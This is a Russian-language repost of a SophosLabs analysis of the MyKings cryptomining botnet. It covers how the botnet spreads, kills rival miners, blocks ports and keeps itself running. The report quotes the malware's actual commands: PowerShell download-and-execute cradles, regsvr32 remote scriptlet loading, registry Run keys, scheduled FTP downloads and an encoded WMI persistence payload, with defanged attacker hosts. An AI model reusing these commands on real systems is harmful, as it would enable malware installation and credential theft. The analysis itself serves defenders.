SophosLab ранее опубликовал детальный отчет о работе ботнета Mykings, который возможно и стоит за многими атаками на системы с использованием EternalBlue NSA exploit, инструментария WMI для обновления и экплуатации систем с целью майнинга криптовалют, буткита для закрепления устойчивой работы бэкдора и майнеров и др.

MyKings: медленный, но неустанный рост ботнета

   Ботнет MyKings имеет широкую ряд автоматизированных методов взлома серверы - все для установки майнера криптовалюты.

Вступление

Ботнет MyKings / DarkCloud / Smominru (который мы будем называть MyKings) был активен в течение двух лет. Хотя отдельные модули были описаны в нескольких публикациях, в прошлом эта статья не фокусировалась на глубоком анализе отдельных используемых вредоносных компонентов. во время активности. Здесь мы смотрим на взаимодействие между различными элементами инструментов, используемыми злоумышленников MyKings и их роли в процессе заражения, чтобы получить полную картину работа ботнета. Ботнет обычно доставляет криптомайнеры и трояны удаленного доступа (RAT). Недавно злоумышленники, стоящие за MyKings, добавили функциональность буткита, чтобы избежать обнаружения и установить постоянство это трудно удалить или смягчить. Самая ранняя активность MyKings датируется 2016 годом, и с тех пор она активна, но мы обнаружили некоторые пересекаются в образцах и серверной инфраструктуре с более ранней кампанией.

Основные выводы этого исследования заключаются в следующем:

* Ботнет распространяется путем атаки на слабые комбинации имени пользователя и пароля в MySQL, MSSQL, telnet, ssh, IPC, WMI, RDP, а также дополнительно использует EternalBlue для бокового движения.

* Во время начальных процессов заражения ботнет защищает компьютер; удаляет процессы, файлы и настройки, принадлежащие семействам вредоносных программ, управляемые другими угрозами актеры; и закрывает коммуникационные порты, которые могут быть использованы для повторного заражения компьютера.

Злоумышленники, стоящие за этим ботнетом, предпочитают использовать открытый исходный код или другое доступное ПО и обладают достаточными навыками, чтобы вносить изменения и улучшения в исходный код.

Основными целями ботнета являются страны Азии, но мы можем найти инфекции повсюду.

В число наиболее инфицированных стран входили:

* Китай * Тайвань * Россия * Бразилия * США * Индия * Япония

Процесс заражения

Компоненты ботнета очень взаимосвязаны, и существует множество возможных путей или способв заражений.

ok.exe - установщик буткита Ботнет MyKings начал интенсивно использовать компоненты буткита в начале 2019 года. Однако первые версии установщика буткита датируются июнем 2018 г.

Наиболее распространенный вариант попадал в зараженные системы с именами файлов ok.exe или max.exe.

Установщики буткитов обычно защищены с помощью VMProtect, что делает более сложным точный анализ.

Это характерно для ботнета: есть несколько компонентов, каждый из которых они делают очень похожую процедуру самообновления. Таким образом, даже если большинство компонентов ботнет удаляется с компьютера, остальные имеют возможность восстановить его до полной силы.

Он выполняет поиск в списке запущенных процессов и завершает те, которые связаны с продуктами безопасности, используя жестко запрограммированный список имен.

c3.bat - это компонент, который завершает процесс заражения. Это относительно большой командный файл; В размер варьируется, но обычно он составляет от 3 000 до 20 000 байт. Он запускает несколько десятков процессов по мере выполнения своей задачи - загрузки обновлений, установки. компоненты, устанавливая стойкость и очищая все следы, которые были созданы во время начальный процесс заражения. Это наиболее часто используемый компонент кампаний, было несколько десятков его вариантов. обнаружено, что они отличались в незначительных деталях, таких как список уничтожения или имена учетных записей пользователей. Обычно он устанавливается из самораспаковывающихся архивов RAR, содержащих два файла, n.vbs и c3.bat.

Криптомайнинг - ресурсоемкий процесс, на компьютере есть место только для одного. MyKings пытается убедиться, что ему не нужно делить драгоценный процессор с другими майнерами - даже если они дружеские. Многие имена процессов используются более старыми версиями ботнета MyKings, поэтому этот механизм также может служить частью процесса обновления. Обратите внимание, что более старые версии майнеров, вероятно, использовали более старые (и уже заблокированы) идентификаторы кошельков, которые бесполезны. Список убитых процессов со временем менялся

Некоторые имена используются чаще, другие могут быть связаны с конкретными угрозами, например:

Цитата
   doc001.exe (майнер XMRig)
   docv8.exe (майнер XMRig)
   wodCmdTerm.exe (майнер XMRig)
   NsCpuCNMiner64.exe (CNMiner)
   tlscntr.exe (майнер XMRig)
   ctfmonc.exe (майнер XMRig)
   wuauser.exe (майнер XMRig)
   mscsuscr.exe (майнер XMRig)
   Pviunc.exe (майнер XMRig)
   Bllianc.exe (майнер XMRig)
   dether.exe (майнер XMRig)

Правила межсетевого экрана

Пакетный файл изменяет правила брандмауэра. Цель состоит в том, чтобы закрыть порты, которые использовались для первоначального инфекции или могут быть использованы для последующих инфекций. Таким образом ботнет защищает себя от враждебных захват, обезопасив зараженный компьютер. Он создает новые правила брандмауэра, которые блокируют доступ к зараженному компьютеру на портах 135, 137, 138, 139 и 445 (относится к таким службам, как RPC, NetBIOS и Active Directory). Это закрывает возможность повторное заражение с помощью эксплойта RDP или EternalBlue.

Обновление компонентов

Скрипт скачивает с сайтов обновлений ряд различных скриптов, например:

Цитата
   powershell.exe IEX (New-Object
   system.Net.WebClient).DownloadString('hxxp://wmi.1217bye[.]host/S.ps1')&powershell.exe IEX
   (New-Object
   system.Net.WebClient).DownloadString('hxxp://173.208.139[.]170/s.txt')&powershell.exe IEX
   (New-Object system.Net.WebClient).DownloadString('hxxp://35.182.171[.]137/s.jpg')||regsvr32 /u
   /s /i:hxxp://wmi.1217bye[.]host/1.txt scrobj.dll®svr32 /u /s
   /i:hxxp://173.208.139[.]170/2.txt scrobj.dll®svr32 /u /s /i:hxxp://35.182.171[.]137/3.txt
   scrobj.dll"

Роль загружаемых файлов следующая:
• s.ps1: завершает все процессы svchost.exe и conhost.exe, которые не выполняются из системный каталог и выполняет c: \ windows \ temp \ conhost.exe
• s.txt: скрипт сбора информации
• s.jpg: убивает процессы, связанные с майнером, и определяет правила брандмауэра.
• 1.txt: загружает компоненты PE (обычно установщик буткита и дроппер c3.bat).
• 2.txt: список URL-адресов для компонентов.

Загружается несколько различных компонентов, и используются несколько методов сохранения, чтобы убедиться, что буткит переживает перезагрузку на компьютере

Устойчивость

Пакетный сценарий использует несколько различных методов для достижения устойчивости и выживаемости после загрузки системы

Буткит

Компонент буткита - это первый из методов сохранения. Поскольку в IPL перезаписывается вредоносный код, он будет выполняться при каждой перезагрузке, а также загружает и запускает компоненты ботнета.

Ключи автозапуска в реестре

В дополнение к этому пакетный файл создает ключ автозапуска реестра, который использует regsvr32.exe для извлечения и выполнения обновления, в данном случае v.sct, который представляет собой простой скриптлет, загружающий компоненты Win32.

 
Цитата
 reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "start" /d
   "regsvr32 /u /s /i:hxxp://js.1226bye[.]xyz:280/v.sct scrobj.dll" /f

   reg add "HKLM\Software\wow6432node\Microsoft\Windows\CurrentVersion\­Run" /v
   "start" /d "regsvr32 /u /s /i:hxxp://js.1226bye[.]xyz:280/v.sct scrobj.dll" /f



Задачи по расписанию

Некоторые компоненты прописаны в отдельную задачу. Названия задач обычно:
ok, Mysa, Mysa1, Mysa2 и Mysa3.

Запланированные задачи выполняются при запуске системы с помощью командной строки, которая подключается к ftp-серверу. и скачивает обновление, в случае задачи Mysa исполняемый файл будет сохранен как a.exe

 
Цитата
 schtasks /create /tn "Mysa" /tr "cmd /c echo open ftp.1226bye[.]xyz>s&echo
   test>>s&echo 1433>>s&echo binary>>s&echo get a.exe c:\windows\update.exe>>s&echo
   bye>>s&ftp -s:s&c:\windows\update.exe" /ru "system" /sc onstart /F

   schtasks /create /tn "Mysa2" /tr "cmd /c echo open ftp.1226bye[.]xyz>p&echo
   test>>p&echo 1433>>p&echo get s.dat c:\windows\debug\item.dat>>p&echo bye>>p&ftp
   -s:p" /ru "system" /sc onstart /F

   schtasks /create /tn "Mysa3" /tr "cmd /c echo open ftp.1226bye[.]xyz>ps&echo
   test>>ps&echo 1433>>ps&echo get s.rar c:\windows\help\lsmosee.exe>>ps&echo
   bye>>ps&ftp -s:ps&c:\windows\help\lsmosee.exe" /ru "system" /sc onstart /F

Запланированные задачи обычно загружают дополнительные компоненты через ftp-соединение, в данном конкретном случае. бэкдор Forshare и майнер.

Затем другой набор задач запускает загруженный файл ok.dat, который является файлом DLL Windows, поэтому сценарий выполняет экспорт ServiceMain с параметром aaaa. Этот компонент является бэкдором PCShare.
Цитата

   schtasks / create / tn "Mysa1" / tr "rundll32.exe c: \ windows \ debug \ item.dat, ServiceMain aaaa "/ ru" system "/ sc onstart / F schtasks / create / tn "ok" / tr "rundll32.exe c: \ windows \ debug \ ok.dat, ServiceMain aaaa "/ ru" система "/ sc onstart / F



сценарии WMI

Третий метод использует фильтры WMI для установления исполнения.

c3.bat сначала удаляет следующие сценарии событий WMI, созданные более ранней версией ботнета:

Цитата
  • fuckyoumm2_filter
   • fuckyoumm2_consumer
   • fuckayoumm3
   • fuckayoumm4
   • Windows Events Consumer
   • Windows Events Consumer4
   • Windows Events Filter


Затем регистрирует новый фильтр с именем fuckyoumm4, который выполняется каждые 3 часа (10800 секунд).

 
Цитата
wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE Name="fuckyoumm3",
   EventNameSpace="root\cimv2",QueryLanguage="WQL", Query="SELECT * FROM
   __InstanceModificationEvent WITHIN 10800 WHERE TargetInstance ISA
   'Win32_PerfFormattedData_PerfOS_System'"&wmic /NAMESPACE:"\\root\subscription"
   PATH CommandLineEventConsumer CREATE Name="fuckyoumm4",
   CommandLineTemplate="cmd /c powershell.exe -nop -enc
   "JAB3AGMAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgB­OAGUAdAAuAFcAZQBiA
   EMAbABpAGUAbgB0ADsAJAB3AGMALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAa­QBuAGcAKAAnAGgAdAB0
   AHAAOgAvAC8AdwBtAGkALgAxADIAMQA3AGIAeQBlAC4AaABvAHMAdAAvADIA­LgB0AHgAdAAnACkALgB
   0AHIAaQBtACgAKQAgAC0AcwBwAGwAaQB0ACAAJwBbAFwAcgBcAG4AXQArACc­AfAAlAHsAJABuAD0AJA
   BfAC4AcwBwAGwAaQB0ACgAJwAvACcAKQBbAC0AMQBdADsAJAB3AGMALgBEAG­8AdwBuAGwAbwBhAGQAR
   gBpAGwAZQAoACQAXwAsACAAJABuACkAOwBzAHQAYQByAHQAIAAkAG4AOwB9A­A=="&powershell.ex
   e IEX (New-Object
   system.Net.WebClient).DownloadString('hxxp://wmi.1217bye[.]host/S.ps1')&powersh
   ell.exe IEX (New-Object
   system.Net.WebClient).DownloadString('hxxp://173.208.139[.]170/s.txt')&powershe
   ll.exe IEX (New-Object
   system.Net.WebClient).DownloadString('hxxp://35.182.171[.]137/s.jpg')||regsvr32
   /u /s /i:hxxp://wmi.1217bye[.]host/1.txt scrobj.dll®svr32 /u /s
   /i:hxxp://173.208.139[.]170/2.txt scrobj.dll®svr32 /u /s
   /i:hxxp://35.182.171[.]137/3.txt scrobj.dll"&wmic
   /NAMESPACE:"\\root\subscription" PATH __FilterToConsumerBinding CREATE
   Filter="__EventFilter.Name="fuckyoumm3"",
   Consumer="CommandLineEventConsumer.Name="fuckyoumm4""

Это код события - зашифрованная команда PowerShell, которая загружает текстовый файл с URL-адреса.

 
Цитата
hxxp: //wmi.1217bye [.] host / 2.txt (URL-адрес может со временем измениться).

   $wc=New-Object
   System.Net.WebClient;$wc.DownloadString('hxxp://wmi.1217bye[.]host/2.txt').trim(
   ) -split '[\r\n]+'|%{$n=$_.split('/')[-1];$wc.DownloadFile($_, $n);start $n;}
Содержимое этого файла должно содержать список URL-адресов следующего этапа, которые загружаются и выполнен. Пример содержимого файла 2.txt был следующим:

 
Цитата
 hxxp://173.247.239[.]186/ok.exe
   hxxp://173.247.239[.]186/upsupx.exe
   hxxp://173.247.239[.]186/u.exe

Дополнительные три команды в сценарии WMI загружают еще три компонента:

 
Цитата
hxxp://173.208.139[.]170/s.txt
   hxxp://35.182.171[.]137/s.jpg
   hxxp://wmi.1217bye[.]host/S.ps1

Здесь s.txt - это сценарий PowerShell, который загружает файл списка уничтожения из hxxp: //139.5.177 [.] 19 / l.txt.

Этот файл содержит список имен процессов; сценарий останавливает каждый процесс в этом списке:

 
Цитата
 lsmose.exe,C:\Windows\debug\lsmose.exe,1
   lsmos.exe,C:\Windows\debug\lsmos.exe,1
   lsmo.exe,C:\Windows\debug\lsmo.exe,1
   csrw.exe,C:\Program Files (x86)\Common Files\csrw.exe,119
   csrw.exe,C:\Program Files\Common Files\csrw.exe,1
   lsmosee.exe,c:\windows\help\lsmosee.exe,1
   csrs.exe,c:\csrs.exe,1


В завершение c3.bat загружает и выполняет s.txt. Это извлекает список уничтожения и останавливает процессы указанный в нем, а также дополнительно загружает и выполняет сценарий с именем up.txt. Это сценарий сбора информации, который собирает системную информацию (включая пароли, использующие Powerkatz) и загружает его на ftp-сервер 192.187.111.66, который был активным сервером сбора. на момент написания этого документа.

полный отчет здесь